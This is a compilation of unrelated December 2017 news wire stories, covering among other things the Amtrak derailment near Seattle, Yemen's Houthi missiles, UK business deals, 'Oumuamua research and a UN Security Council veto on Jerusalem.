In the almost three years the Saudi-led coalition has waged war with Yemen's rebels, dozens of other missiles have been fired by the Houthis across the border into Saudi Arabia, reaching as far as some border towns.

There have been casualties among local residents in those attacks.

Earlier this month, the Houthis claimed they had fired a missile at an under-construction nuclear plant in the United Arab Emirates, which is part of the Saudi coalition. The UAE denied that a missile had been fired.

The Saudi-led coalition has been at war with the Houthis since March 2015. The Houthis, allied with Saudi Arabia's rival Iran, have forced into exile the Saudi-backed and internationally recognised government of President Abed Rabbo Mansour Hadi.

Despite a fierce air campaign against the Houthis, the rebels still largely control Yemeni capital Sanaa and much of the country's north along the border with Saudi Arabia.

Earlier this month, the Houthis killed Yemen's former president, Ali Abdullah Saleh, after he switched alliances and struck deals with the Saudi-led coalition.

Yemen's war has killed more than 10,000 civilians and driven millions to the brink of famine.

AP
Cars from an Amtrak train lie spilled on to Interstate 5 in DuPont, Washington (Peter Haley/The News Tribune/AP)

Investigators are looking into whether the Amtrak engineer whose speeding train plunged off an overpass, killing at least three people, was distracted by the presence of an employee-in-training next to him in the locomotive, a federal official says.

The official, who was not authorised to discuss the matter publicly and spoke on condition of anonymity, said investigators want to know whether the engineer lost "situational awareness" because of the second person in the cab.

The train was hurtling at 80mph in a 30mph zone on Monday morning when it ran off the rails along a curve south of Seattle, sending some of its cars plummeting onto an interstate highway below, National Transportation Safety Board member Bella Dinh-Zarr said citing data from the locomotive's event recorder.

Ms Dinh-Zarr said it is not yet known what caused the train to derail and too early to say why it was going so fast, adding investigators will talk to the engineer and other crew members.

In previous wrecks, investigators looked at whether the engineer was distracted or incapacitated.

The engineer, whose name has not been released, was bleeding from the head after the crash and his eyes were swollen shut, according to radio transmissions from a crew member.

The transmissions mentioned a second person in the front of the train who was also hurt.

The train, with 85 passengers and crew members, was making the inaugural run along a fast new bypass route that was created by refurbishing freight tracks alongside Interstate 5.

The 15-mile, 180.7 million dollar project was aimed at speeding up service by bypassing a route with a number of curves, single-track tunnels and freight traffic.

Positive train control - technology that can automatically slow or stop a speeding train - was not in use on that stretch of track.

Track sensors and other PTC components have been installed, but the system is not expected to be completed until the spring, transit officials said.

Regulators have been pressing railroads for years to install such technology, and some have done so, but the deadline has been extended repeatedly at the industry's request and is now the end of 2018.

The 7.34am accident left mangled train cars up on top of each other, with one hanging precariously over the freeway.

The screech and clang of metal were followed by silence, then screams, as the injured cried out to rescuers and motorists pulled over and rushed to help.

In addition to those killed, more than 70 people were injured, 10 of them seriously.

Two of the dead were identified as train buffs who belonged to the rail advocacy group All Aboard Washington and were excited to be on board for the inaugural run.

They were Jim Hamre, a retired civil engineer with the state Transportation Department, and Zack Willhoite, a customer service employee at a local transit agency.

"It's pretty devastating. We're having a tough time," said All Aboard Washington executive director Lloyd Flem.

In 2015, an Amtrak train travelling at twice the 50mph speed limit ran off the rails along a sharp curve in Philadelphia, killing eight people.

Investigators concluded the engineer was distracted by reports over the radio of another train getting hit by a rock.

In September, a judge threw out charges of involuntary manslaughter and reckless endangerment against the engineer, saying the wreck did not appear to rise to a crime. Prosecutors are trying to get the case reinstated.

In the Washington state crash, speed signs were posted two miles before the speed zone changed, according to Kimberly Reason of Sound Transit, the Seattle-area transit agency that owns the tracks.

After the Philadelphia wreck, Amtrak agreed to pay 265 million dollars to settle claims filed by victims and their families. It has also installed positive train control on all of its track between Boston and Washington.

The NTSB's Ms Dinh-Zarr said it is too soon to say whether positive train control would have prevented Monday's tragedy.

AP
Undated handout photo issued by the Metropolitan Police of Tiffarah Paul-Wright, two, and four-year-old boy Aiale Paul-Wright who have gone missing from an address in Islington, north London. Metropolitan Police/PA Wire

Two toddlers who were thought to have gone missing after 'being left home alone', have now been located police said.

Officers were earlier called to an address after being told Tiffarah Paul-Wright, two, and four-year-old boy Aiale Paul-Wright were at home alone.

When the police visited the property the children were not there and said they had growing concerns for their safety.

But London Metropolitan Police said the children have now been found after they were brought to an east London police station, where officers are now taking care of them.

A Met Police spokesperson said: "At approximately 21:45hrs on Monday, 18 December, the children's mother was taken to hospital for medical treatment.

"Police became aware that she had two young children and immediately made enquiries to locate them at her home address. Officers visited the address but there was no trace of Tiffarah Paul-Wright, two, and four-year-old Aiale.

"Officers believed that the children were in the care of an adult, who was known to the children, and attempts were made to trace them.

"Shortly after 12:00hrs on Tuesday, 19 December, the children were taken to an east London police station and are currently being cared for by officers."

Enquiries are ongoing. There have been no arrests.
GoCompare said the acquisition will allow it to offer deals and incentives to savers who use both comparison and voucher websites (Gocompare.com)

Price comparison group GoCompare is snapping up discount codes site MyVoucherCodes in a deal worth 36.5 million.

MyVoucherCodes is one of the UKs largest online voucher code sites with eight million e-mail subscribers and around 45 million visits a year to its website.

It works with more than 3,000 brands  including ASOS, Sky and Expedia  notching up 350 million of retailer revenue for the year to June 30.

GoCompare, which was spun out from esure and listed on the London Stock Exchange in November last year, said the acquisition will allow it to offer deals and incentives to savers who use both comparison and voucher websites.

In a trading update alongside the deal announcement, GoCompare added that underlying earnings for 2017 are now set to be at the upper end of expectations, with revenues some 5% higher this year, at around 149 million.

Matthew Crummack, chief executive of GoCompare, said: We are making strong progress towards our ambition to become the go-to place for savvy savers to find great deals, and for service providers to reach and acquire customers.

The deal comes after Newport-based GoCompare last month fought off a second unwanted takeover move from suitor ZPG, the company behind sites including uSwitch and Zoopla.

It rejected an unsolicited approach of 110p-a-share from ZPG for undervaluing the company, which followed an initial offer in May.

ZPG scrapped its pursuit of GoCompare in late November, saying it would not be making an offer.

GoCompares move to buy MyVoucherCodes marks the latest in a line of investments, following its acquisition of a stake in Dubai-based counterpart Souqalmal.com for two million US dollars (1.7 million) in October and a minority holding in digital robo-adviser Mortgage Gym in July.

MyVoucherCodes is expected to make pre-tax profits of 4 million for 2017 on revenues of 11.8 million.

The majority of its revenues are UK based, but MyVoucherCodes also has websites in international markets including Australia, Ireland, Germany and France.

Existing management at MyVoucherCodes are set to remain at the helm after the acquisition.
Lebanese authorities have detained a taxi driver suspected of the killing of a British woman who worked at the UK embassy and whose body was found near Beirut over the weekend, a police official said yesterday.

Lebanese media outlets said the man was a registered Uber driver. Police officials refused to confirm or deny those reports, or to say whether the man had a criminal record.
An Amtrak passenger train is seen derailed on a bridge over interstate highway (I-5) in this Washington State Department of Transportation (WSDOT) image moved on social media in DuPont, Washington, U.S., December 18, 2017. Courtesy WSDOT/Handout via REUTERS

This photo provided by Washington State Patrol shows an Amtrak train that derailed south of Seattle on Monday, Dec. 18, 2017. Authorities reported "injuries and casualties." The train derailed about 40 miles (64 kilometers) south of Seattle before 8 a.m., spilling at least one train car on to busy Interstate 5. (Washington State Patrol via AP)

This photo provided by Washington State Patrol shows an Amtrak train that derailed south of Seattle on Monday, Dec. 18, 2017. Authorities reported "injuries and casualties." The train derailed about 40 miles (64 kilometers) south of Seattle before 8 a.m., spilling at least one train car on to busy Interstate 5. (Washington State Patrol via AP)

A train making the first run along a faster route has hurtled off an overpass in the US and spilled some of its carriages on to the road below, killing at least six people, authorities said.

Seventy-eight passengers and five crew members were aboard when the Amtrak train travelling at more than 80mph derailed about 40 miles south of Seattle on a route that had raised safety concerns. The death toll is expected to rise.

An official briefed on the investigation said preliminary signs indicated that Train 501 may have struck something before going off the track.

Pierce County Sheriff's Office said several vehicles on Interstate 5 were struck by falling train carriages and multiple motorists were injured. No motorists were reported killed.

Expand Close This photo provided by Washington State Patrol shows an Amtrak train that derailed south of Seattle on Monday, Dec. 18, 2017. Authorities reported "injuries and casualties." The train derailed about 40 miles (64 kilometers) south of Seattle before 8 a.m., spilling at least one train car on to busy Interstate 5. (Washington State Patrol via AP) / Facebook

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Whatsapp This photo provided by Washington State Patrol shows an Amtrak train that derailed south of Seattle on Monday, Dec. 18, 2017. Authorities reported "injuries and casualties." The train derailed about 40 miles (64 kilometers) south of Seattle before 8 a.m., spilling at least one train car on to busy Interstate 5. (Washington State Patrol via AP)

Chris Karnes was on the train, three or four carriages from the front. He said the only part of the train remaining on the tracks was the rear locomotive. Several cars were hanging over the overpass.

The possibility that the wreck was caused by something on the tracks fed into concerns voiced by local officials about the risk of high-speed trains crossing busy streets. The mayor of a town near the derailment had warned about the danger of an accident at a public meeting two weeks ago.

Expand Close This photo provided by Danae Orlob shows an Amtrak train that derailed south of Seattle on Monday, Dec. 18, 2017. Authorities reported "injuries and casualties." The train derailed about 40 miles (64 kilometers) south of Seattle before 8 a.m., spilling at least one train car on to busy Interstate 5. (Danae Orlob via AP) / Facebook

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Whatsapp This photo provided by Danae Orlob shows an Amtrak train that derailed south of Seattle on Monday, Dec. 18, 2017. Authorities reported "injuries and casualties." The train derailed about 40 miles (64 kilometers) south of Seattle before 8 a.m., spilling at least one train car on to busy Interstate 5. (Danae Orlob via AP)

Daniel Konzelman, 24, was driving parallel to the train on his way to work in Olympia. He was about 30 seconds ahead of the train on the freeway when he saw it derail.

Mr Konzelman, who was driving with a friend, said he pulled off the freeway and ran down along the tracks and over the bridge to get to the scene.

They saw three cars and a truck on the freeway that had been damaged by the derailment. There were train carriages with their roofs ripped off, or that were tipped upside down, on both sides of the track or turned sideways on the bridge.

They climbed into train carriages and found people hurt - some pinned underneath the train, others who appeared to be dead, he said. If they were mobile and seemed stable, he helped them climb out. If they appeared seriously hurt, he tried to comfort them by talking to them.

"I just wanted to help people because I would want people to help me," he said. "I'm an Eagle Scout. I have a lot of first-aid training and emergency response training."

"I prepared for the worst and hoped for the best. I saw a little bit of both," he said.

Donald Trump used the derailment to call for more infrastructure spending in a tweet sent about three hours after the accident.

He said the wreck, on a newly completed bypass, shows "more than ever why our soon to be submitted infrastructure plan must be approved quickly".

The train was making the inaugural run on the new route as part of a 180 million dollar (134 million) project designed to speed up service by removing passenger trains from a route along Puget Sound which is bogged down by curves, single-track tunnels and freight traffic.

The new route includes a bypass built on an existing inland rail line that runs along Interstate 5 from Tacoma to DuPont, near where Train 501 derailed.

Track testing was completed in January and February, according to Washington State Department of Transportation.

The mayor of Lakewood, a city along the new route, predicted a deadly crash - but one involving a fast-moving train hitting a car or pedestrian at a crossing. At a recent public meeting, he called on state planners to build overpass-like rail structures instead of having trains cross busy streets.

"Come back when there is that accident and try to justify not putting in those safety enhancements," Don Anderson said, according to Seattle television station KOMO.

"Or you can go back now and advocate for the money to do it, because this project was never needed and endangers our citizens."

The National Transportation Safety Board said a team of investigators was on its way to the scene from Washington DC.

The train was going 81.1mph moments before the derailment, according to transitdocs.com, a website that maps Amtrak train locations and speeds using data from the railroad's train tracker app.

The maximum speed along the stretch of track, known as Point Defiance Bypass, is 79mph, according to information about the project posted online by Washington State Department of Transportation.

Hospital officials said of those injured at least two were in a critical condition and 11 others were seriously injured.

Four hospitals said 50 people were being treated for their injuries.

Authorities said a total of 13 train cars had derailed.

Washington State Patrol spokeswoman Brooke Bova said five vehicles and two semi-trailers underneath the train on I-5 were hit when the cars came off the tracks from above.
Old Mutual has struck a deal to sell its single strategy asset management arm to private equity outfit TA Associates for 600 million.

The unit has 35.7 billion funds under management and booked pre-tax profit of 60 million last year.

Under the terms of the deal, Old Mutual will receive 570 million in cash up front and a further 30 million from 2019 to 2021, with the business transferred to TA Associates in January.

The majority of the current management team of the single strategy business, including chief executive Richard Buxton, will remain in place.

It comes after the FTSE 100 firm announced last year that it would split its US-based asset management operation, its UK-based wealth unit, an emerging markets division and Nedbank in South Africa.

Paul Feeney, CEO of Old Mutual Wealth, said: The single strategy business is less closely aligned to our goal of becoming the UKs leading wealth manager. I believe this development is a good outcome for our shareholders.

TA Associates managing director Chris Parkin said: We have followed the development of Old Mutual Global Investors Single Strategy business for several years and have been impressed by what is clearly now a diversified and high-quality investment platform.
Private equity firm Phoenix has paid over 50 million for a controlling stake in Forest Holidays as it looks to cash in on the rising trend in staycations.

The deal will see Phoenix sit alongside existing shareholders the Forestry Commission and LDC on the investor register, and the tie-up will result in an expansion drive.

Forest Holidays operates 571 eco-cabins and treehouses on nine sites across Britains National Forests, with a further two in development in Snowdonia and the Brecon Beacons.

Following the investment from Phoenix, the group plans to open at least five new sites by 2022.

Forest Holidays has grown strongly since initial investment from LDC in 2012, with earnings rising from under 1 million to over 10 million. The group is valued at around 110 million.

The rise in staycations following the collapse in the value of the pound has meant that domestic holiday operators have become highly sought-after assets.

Private equity firm Caledonia Investments sold caravan park operator Park Holidays to Intermediate Capital Group (ICG) for 362 million last year, while the countrys biggest operator, Parkdean Resorts, was sold by Epiris to Toronto-based Onex Corporation for 1.35 billion.

With Brits getting considerably less value for their pound abroad, more people are having to holiday at home, a trend expected to continue as the economy weakens and Brexit takes its toll.

David Burns, managing partner at Phoenix, said: As experienced investors in the leisure sector, we have been watching the progress of Forest Holidays with great interest.

This fabulous business offers a truly differentiated proposition to the UK holidaymaker, and feedback from its customers is consistently outstanding.

Forest Holidays has a long-term strategic partnership with the Forestry Commission under which the company operates exclusively on its estate.

The firms cabins are planned around existing forest and utilise sustainable materials, such as air-source heat pumps, hydroelectric plants and a dark skies policy across its estate.
US scientists are developing a cat that can keep a person company, does not need a litter box and can remind an ageing owner to take their medicine or help find their spectacles.

Toymaker Hasbro and scientists at Brown University in Rhode Island have received a three-year, million-dollar (750,000) grant from the National Science Foundation to find ways to add artificial intelligence to Hasbro's Joy For All robotic cat .

The robo-cat, which has been on the market for two years, is aimed at the elderly and is meant to act as a companion. It purrs and meows, and even appears to lick its paw and roll over to ask for a belly rub.

The Brown-Hasbro project is aimed at developing additional capabilities for the cat to help older adults with simple tasks.

Researchers at Brown's Humanity-Centred Robotics Initiative are working to determine which tasks make the most sense, and which can help older adults stay in their own homes longer, such as finding lost objects, or reminding the owner to call someone or go to a doctor's appointment.

"It's not going to iron and wash dishes," said Bertram Malle, a professor of cognitive, linguistic and psychological sciences at Brown.

"Nobody expects them to have a conversation. Nobody expects them to move around and fetch a newspaper. They're really good at providing comfort."

Prof Malle said he and computer science professor Michael Littman do not want to make overblown promises of what the cat can do, they just hope to make a cat that would perform a small set of tasks very well.

They also want to keep it affordable, just a few hundred dollars. The current version costs 100 dollars (75).

They have given the project a name that gets at that idea: Affordable Robotic Intelligence for Elderly Support, or Aries.

The team includes researchers from Brown's medical school, area hospitals and a designer at the University of Cincinnati.

It is an idea that has appeal to Jeanne Elliott, whose 93-year-old mother, Mary Derr, lives with her in South Kingstown, Rhode Island.

Ms Derr has mild dementia and the Joy For All cat Ms Elliott purchased this year has become a true companion for Ms Derr, keeping her company and soothing her while Ms Elliott is at work.

Ms Derr treats it like a real cat, even though she knows it has batteries.

"Mom has a tendency to forget things," she said, adding that a cat reminding her "we don't have any appointments today, take your meds, be careful when you walk, things like that, be safe, reassuring things, to have that available during the day would be awesome".

Diane Feeney Mahoney, a professor emerita at MGH Institute of Health Professions School of Nursing, who has studied technology for older people, said the project showed promise because of the team of researchers.

She hopes they involve people from the Alzheimer's community and that "we just don't want to push technology for technology's sake".

She called the cat a tool that could make things easier for someone caring for a person with middle-stage dementia, or to be used in nursing homes where pets are not allowed.

AP
Scott Tingle, Anton Shkaplerov and Norishige Kanai, in the front row, join the crew (Nasa/AP)

The International Space Station has three new residents, doubling its crew size.

An American, a Russian and a Japanese arrived at the orbiting lab on Tuesday, two days after launching from Kazakhstan.

They received special greetings from America's new ambassador to Russia. Jon Huntsman gathered with the astronauts' families at Mission Control outside Moscow to watch the new crew's entrance.

Mr Huntsman told newly arrived Nasa astronaut Scott Tingle that he got a tear in his eye as he watched Mr Tingle's family when the hatches opened.

The ambassador said it was "the most special thing" being there and feeling the emotion.

Mr Tingle flew up in a Soyuz capsule with Russia's Anton Shkaplerov and Japan's Norishige Kanai.

The space station is now back to a full crew of six.
Mr Trump said his new national security strategy puts America first (AP)

The Kremlin has lambasted US president Donald Trump's new national security strategy as "imperial", but lauded the US for willing to cooperate with Russia in areas of common interest.

The strategy, published on Monday, is harsher on Russia than Mr Trump has been in public comments.

It accuses Russia of using "subversive measures" to weaken America's credibility and European governments.

Dmitry Peskov, a spokesman for Russian President Vladimir Putin, told reporters that the mentions of Russia struck Moscow as "imperial" and showed "an aversion to a multi-polar world".

Mr Peskov, however, said Moscow was encouraged by calls to cooperate with Russia in areas that could be beneficial for the US.

Mr Putin and Mr Trump talked on the phone twice last week.

The Chinese government also criticised Mr Trump's decision to label Beijing a strategic rival and called on Washington to "abandon a Cold War mentality" and accept China's rise.

Mr Trump's decision reflects a "victory of hardliners" in his administration, the official Xinhua News Agency said.

It warned US-Chinese economic relations were likely to face "even more pressure and challenges".

Foreign ministry spokeswoman Hua Chunying said: "We urge the United States to stop deliberately distorting China's strategic intentions and abandon a Cold War mentality. Otherwise it will injure others and damage itself."

Mr Trump's report hit a series of sore spots for Beijing.

It affirmed ties with Taiwan, the self-ruled island the mainland government claims as its territory, and pledged to "re-energise our alliances" with south-east Asian governments, some of which have conflicts with China over claims to portions of the South China Sea.

The United States and China share one of the world's biggest trading relationships and cooperate in areas from clean energy to public health. However, Beijing sees Washington as an obstacle to its ambitions to be East Asia's dominant power, and strains over Taiwan, trade, technology policy and the South China Sea are growing.

"It is selfish to put your national interest above other countries' interest and the mutual interest of the international community," said the Chinese Embassy in Washington in a statement.

"The Chinese side is willing to have peaceful coexistence with all countries.

"The United States should also adapt and accept China's development."

US officials are uneasy about Beijing's rising military spending- already the second-highest behind Washington. They see President Xi Jinping's "Belt and Road Initiative", a project to build railways and other infrastructure across countries from Asia to Europe and Africa, as part of efforts to erode American influence and nurture a China-centred political structure.

Especially sensitive is Taiwan, the democratic island Beijing has declared a "core interest" over which it will go to war, if necessary.

Mr Trump's report promises to "maintain our strong ties with Taiwan" and provide for its "legitimate defence needs".

China has taken a tougher stance toward Taiwan since last year's election of President Tsai Ing-wen, who has refused to endorse Beijing's contention that Taiwan is part of the Chinese nation.

Chinese commentators speculate on the possible need for military steps to put pressure on Taiwan.
Kolkata, Dec 19 (IBNS): The much-awaited annual India International Mega Trade Fair (IIMTF), jointly organized by the Bengal Chamber of Commerce and Industries (Bengal Chamber) and GS Marketing. is being held at the Science City ground in Kolkata, and will run until Dec 25, 2017.

On the global front, the partner country for this year's fair is Bangladesh while Nepal and Netherlands are the focus countries.

At home, Jharkhand and Madhya Pradesh are the partner states while Karnataka and Tripura are the focus states.

In his opening address,Indrajit Sen, President Designate of Bengal Chamber, said, "Trade fairs like this have great relevance towards "Make in India" movement. The Bengal Chamber recognizes the importance of Trade Fairs towards economic growth and development. These fairs are bests platforms for B2B and B2C connects. It also brings business communities together to share expectations and deliverables."

According to the organisers, the fair has already seen visits by industry heads, high ranking government officials, corporate decision makers, traders, manufacturers and a large number of customers.

The event is not only a meeting ground of diverse industries but also serves as a fertile ground to initiate joint ventures, tie ups and other business viabilities between business visitors and participants and also between fellow participating exhibitors, the organisers said.

The organisers also pointed out that the Fair has seen a steady increase in the number of participating foreign countries; there are 16 countries participating in the IIMTF 2017-- Bangladesh, Thailand, Pakistan, Turkey, Egypt, Myanmar, Afghanistan, Bhutan, China, Taiwan, Dubai, Netherlands, USA, Sri Lanka, Nepal and of course, India.

Twenty-one states across India are participating this year, including Rajasthan, , Madhya Pradesh, Chhattisgarh, Karnataka, Madhya Pradesh, Uttarakhand, Andhra Pradesh, J&K, Haryana, Telengana, Arunachal, Kerala, etc.

Many Central government departments, such as Jute Board, textiles and handlooms, are also exhibiting here.

The focus areas in India International Mega Trade Fair largely include Property And Construction, Lifestyle, Tourism, Food, Fitness & Health, Beauty & Cosmetics, Furniture And Interior, IT, Education, Communication, Books & Gifts, Electronics, and Appliances & Electrical.

Amit Mitra, West Bengal's Minister of Finance, Industry, Commerce & Enterprises, MSME & Textiles, Government, in his inaugural address said, the fair is like a United Nations of India with so many participants.



"From our shores, we have closest access to ASEAN countries. I am delighted by Myanmar's participation and urge Vietnam and Laos to join next. We have 1,150 stalls today and this year the footfalls are expected to be nearly 10 lakh. This year we have been joined by China and Netherlands. Business is expected to be 15 per cent more this year.This Trade Fair must target to have 2000 stalls and involve 26 countries within the next few years. Supply chain is what we are looking at," the minister said.

Prakash Shah of G S Marketing Associates; Saiful Islam, First Secretary (Commercial) of Deputy High Commission of Bangladesh, Kolkata; Narayan Sharma, Deputy Consul General of Nepal; Rakesh Kumar, Executive Director, Export Promotion Council of Handicrafts & Chairman, India Expo Mart Ltd; Oo Han from Myanmar and S N Bhattacharya of LICI were also present at the inauguration.
Kolkata, Dec 19 (IBNS): Senior Research Scientist from NASA, Goutam Chattopadhyay, recently delivered a popular lecture on 'Life beyond Earth' in Kolkata.

Chattopadhyay, is a senior research scientist at Jet Propulsion Laboratory (JPL), California Institute of Technology (Caltech) and also a visiting Professor at the Division of Physics, Mathematics, and Astronomy at Caltech.

Basic science delivers technology but NASA is mandated to do science by trying to answer a fundamental question, such as the origin of life beyond what we are thinking," said Chattopadhyay.

There is ongoing investigation assessing the past habitability potential of Mars, as well as the possibilities of extant life, he said.

In November 2016, NASA reported finding a large amount of underground ice in the Utopia Planitia.

NASA continues to work on its Mars project with the launch of a vehicle expected in 2020; this is called a Mars helicopter.

Enceladus is Saturns moon. Enceladus is the only moon in the solar system known to influence the chemical composition of its parental planet. In 2014, NASA found evidence on the large south polar subsurface ocean of liquid water.

Observation with Herschel-Hifi of water in a young sun-like star reveal high-velocity bullets moving at more than 200,000 km/h from star," Chattopadhyay said.

Velocity of a bullet from an AK47 rifle, which is 2500 km/h or 80 times slower, he explained.

It is a surprise that water molecules are observed at this high-velocity temperature exceed 100,000 degrees.

Observations have revealed that water very likely reforms rapidly in the hot and dense shocked gas. The conditions are so favorable that approximately 100 million times the amount of the water in the Amazon River is formed every second.

Water plumes sparked a race to Jupiter moon Europa in December, 2014

There are also some exoplanets close to us like Proxima Centauri (half as hot as the sun and 14% as wide) four light years away. It has a planet 1.3 times the mass of earth, it orbits in 11.2 days at 0.05 AU distance.

Rose 128 is also the 12th closest star. 11 light years away, 16 per cent the suns mass; its a rocky planet 1.3 Earth Mass 9.9 days orbit and a habitable zone. This star is small and cools the planet receives 50 per cent more light than we do," Chattopadhyay said.

NASA has announced for the first time, eight planets have been found orbiting a distant star, Kepler-90, 2,454 light-years from the earth in Draco constellations and the new planet is dubbed Kepler- 90i few days ago.

Keplers has watched more than 150,000 in one part of the sky to conclude exoplanets aspirant, based on the minor dimming of starts as potential planets, said Chattopadhyay.

The Kepler-80 is constant, as the previously discovered seven- planet TRAPPIST-1 system has proven to be but still research orbit assumption is going on for life on those planetary bodies.

Apart from the planetary studies, there are some technology and innovative Ideas which is miniaturization and complex systemized," he said.

We are producing 1019 transistors per year and most of them worked, said Chattopadhyay.

Raincube is the other invention by NASA which is used to measure rain and snowfall; CubeSats unit, or 1U, is roughly equivalent to a 4-inch cubic box, or 10*10*10 cubic centimeters. The antenna deploys out of its 1.5U canister.

The lecture was attended by students and faculties of 20 city and suburban schools.

Addressing the students, Chattopadhyay said, "Even if you dont get great marks, in the long run, you will be successful if you have a basic understanding of the subject."

The most important thing in life is to be a good human being," was the scientist's parting advice.



(Reporting by Camellia Chatterjee)
Washington, Dec 19 (IBNS): Scientists at Queens have led worldwide investigations into a mysterious object that passed close to Earth after arriving from deep interstellar space.

Since the object was spotted in October, Professor Alan Fitzsimmons and Dr Michele Bannister from the School of Mathematics and Physics at Queens University have led an international team of astronomers to piece together a profile of the strange visitor, which has been named `Oumuamua.

The team was made up of researchers from elsewhere in the UK, the US, Canada, Taiwan and Chile and in total seven researchers from Queens were involved.

Professor Alan Fitzsimmons headed up a team which measured the way that `Oumuamua, reflects sunlight, and found it similar to icy objects covered with a dry crust. This is because `Oumuamua has been exposed to cosmic rays for millions, or even billions, of years, creating an insulating organic-rich layer on its surface.

The research, which has been published this week in Nature Astronomy, suggests that `Oumuamuas dry crust could have protected its icy interior from being vaporised  even though the object was just 23 million miles from our sun in September when it zipped past.

Professor Alan Fitzsimmons commented: We have discovered that the surface of `Oumuamua is similar to small solar system bodies that are covered in carbon-rich ices, whose structure is modified by exposure to cosmic rays.

We have also found that a half-metre thick coating of organic-rich material could have protected a water-ice-rich comet-like interior from vaporizing when the object was heated by the sun, even though it was heated to over 300 degrees centigrade.

Dr Michele Bannister and her team observed `Oumuamua while it was still within reach of the largest telescopes in the world and their findings are being published in Astrophysical Journal Letters today.They found the object was the same colour as some of the icy minor planets they had been studying in the outskirts of our solar system. This implies that different planetary systems in our galaxy contain minor planets like our own.

Working together, the researchers have been able to uncover some very important facts about `Oumuamua.

Dr Michele Bannister said: Weve discovered that this is a planetesimal with a well-baked crust that looks a lot like the tiniest worlds in the outer regions of our solar system, has a greyish/red surface and is highly elongated, probably about the size and shape of the Gherkin skyscraper in London.

Its fascinating that the first interstellar object discovered looks so much like a tiny world from our own home system. This suggests that the way our planets and asteroids formed has a lot of kinship to the systems around other stars.

She added: We are continuing our research into `Oumuamua and are hopeful that we will make more discoveries in the near future. Discoveries like this really help to give a little more insight into whats out there and encourages people to look up and wonder.

Image: Queens University website
London, Dec 19 (IBNS): Sharp-eyed school children have used the latest linguistics software, developed by the University of Birmingham to show that one of the core Christmas catchphrases is a bit of a myth.

They used the bespoke online system to prove that Scrooge did not use the phrase bah humbug very frequently at all. The pupils found that bah and humbug only occur together twice in Charles Dickenss A Christmas Carol, although humbug on its own has a few more repetitions.

The software used by the pupils is called CLiC (Corpus Linguistics in Context www.clic.bham.ac.uk). It is developed by the Centre for Corpus Research (CCR) at the University of Birmingham as part of the CLiC Dickens project  a joint project with the University of Nottingham that was funded by the UKs Arts and Humanities Research Council.

A simple-to-use online system, CLiC allows users to study literary texts and find out more about them and their fictional characters. This leads to new insights into how readers perceive fictional people.

CLiC works by letting users choose a single book or a group of books. They can then pull out data relating to how many times specific words or phrases are used and display the contexts in which the words appear, enabling a better understanding of the texts and their characters.

By using CLiC to analyse the complete works of Dickens, academics have been able to extract a broad range of information. This ranges from insights into the presentation of body language, such as double-chins and wooden legs in Dickens, to novel findings on how fictional speech and real spoken language are more similar than academic scholarship has so far recognised.

Lorraine Adriano, the English teacher at Bishop Walsh Catholic School, in Birmingham, who worked with the children said: I found out about the software and thought it would be a great way of getting my pupils interested in books and their characters.

We started with a simple exercise, looking at A Christmas Carol. They were able to pull out the data that showed that while Scrooge did say bah and humbug together twice, the phrase Merry Christmas is actually more frequent than references to humbug.

More importantly, using CLiC has made my pupils more enthusiastic about English literature and reading. They have been using it to do their own investigations, often as self-led homework, and they show no signs of stopping.

Professor Michaela Mahlberg, University of Birmingham and CLiC Dickens project lead said: Since its first public reading in Birmingham in 1853, A Christmas Carol has become a cultural phenomenon. There have been numerous film and television adaptations, with the story being told by characters as diverse as Mickey Mouse, the Muppets, Blackadder and even the cast of EastEnders.

Core to its popularity is the phrase bah humbug, which appears every year on cards, mugs, socks, jumpers or beer glasses. What pupils at Bishop Walsh Catholic School have investigated is part of a bigger picture where Dickenss characters become part of mass culture and almost take on a life of their own.

The pupils have used CLiC for detailed engagement with the text, but perhaps more importantly, they have found out that our most treasured stories still have much more to tell us.




Mumbai, Dec 19 (IBNS): Bollywood actress Sunny Leone on Tuesday cited security concern as the reason behind not attending her scheduled New Year eve show in Bengaluru.

She said as the police mentioned they will not be able to ensure her safety and of those who would want to attend the event hence she decided to drop the idea.

"Since the police of Bangalore have publicly said that they will not be able to ensure mine & all who attend safety for my New Years event,my team & I feel,safety of the people should always come first therefore I cannot attend.God bless & I wish everyone a safe & happy New Year!," Sunny tweeted.

The Karnataka government had earlier refused to give permission for the event following protests by Kannada outfits.

Following this move, the organizers had moved to the court so that the event is allowed in the city.
1. Yes. The ordinance goes against state law and is not in the best interest of the cities.

2. Yes. At the very least, it should be amended to give police officers some discretion.

3. No. Voters approved the ordinance by large majorities; the councils cant ignore that fact.

4. No. The petition process has to be given a chance to work. Leave the ordinance alone.

5. Unsure. Its hard to say how the cities should move forward regarding the ordinance.

Vote

View Results
New York, Dec 19(Just Earth News): The United Nations Security Council on Monday failed to adopt the draft resolution that reflects regret among the body's members about recent decisions regarding the status of Jerusalem, with a negative vote by the United States.

The text, tabled by Egypt, reiterated the United Nations' position on Jerusalem and would have affirmed that any decisions and actions which purport to have altered, the character, status or demographic composition of the Holy City of Jerusalem have no legal effect, are null and void and must be rescinded in compliance with relevant resolutions of the Security Council.

The text would also have called on all States to refrain from the establishment of diplomatic missions in the Holy City of Jerusalem.

A negative vote  or veto  from one of the Council's five permanent members  China, France, Russia, United Kingdom and the United States  blocks passage of a resolution.

Therefore, the draft was dead despite support from the other four permanent members and from the 10 non-permanent members.

The vote followed a briefing by Nickolay Mladenov, Special Coordinator for the Middle East Peace process, who said that the Israel-Palestinian conflict has not seen significant positive moves towards peace during the reporting period from 20 September to 18 December.

He said that the security situation in Israel and the occupied Palestinian territory has become more tense in the wake of US President Donald Trump's decision on 6 December to recognize Jerusalem as the capital of Israel, citing an increase in incidents, notably rockets fired from Gaza and clashes between Palestinians and Israeli security forces.

Uncertainty about future of peace process looms over situation on the ground

None of the developments on the ground can be divorced from the broader context in which they are happening: uncertainties about the future of the peace process; unilateral actions that undermine the two-state solution; occupation; and violence, Mladenov told the Council.

The Special Envoy's briefing mainly focused on the status of implementation of Security Council resolution 2334, which was adopted in December 2016 by 14 votes, with the US abstaining.

In that text, the Council reaffirmed that Israel's establishment of settlements in Palestinian territory occupied since 1967, including East Jerusalem, had no legal validity, constituting a flagrant violation under international law and a major obstacle to the vision of two States living side-by-side in peace and security, within internationally recognized borders.

It underlined that it would not recognize any changes to the 4 June 1967 lines, including the status of Jerusalem, other than those agreed by the two sides through negotiations.

The United Nations maintains the view that Jerusalem is a final status issue that must be resolved through direct negotiations between the two parties on the basis of the relevant Security Council and General Assembly resolutions taking into account the legitimate concerns of both the Palestinian and the Israeli sides, Mladenov stressed, warning that there is a growing risk that the parties may revert to more unilateral actions.

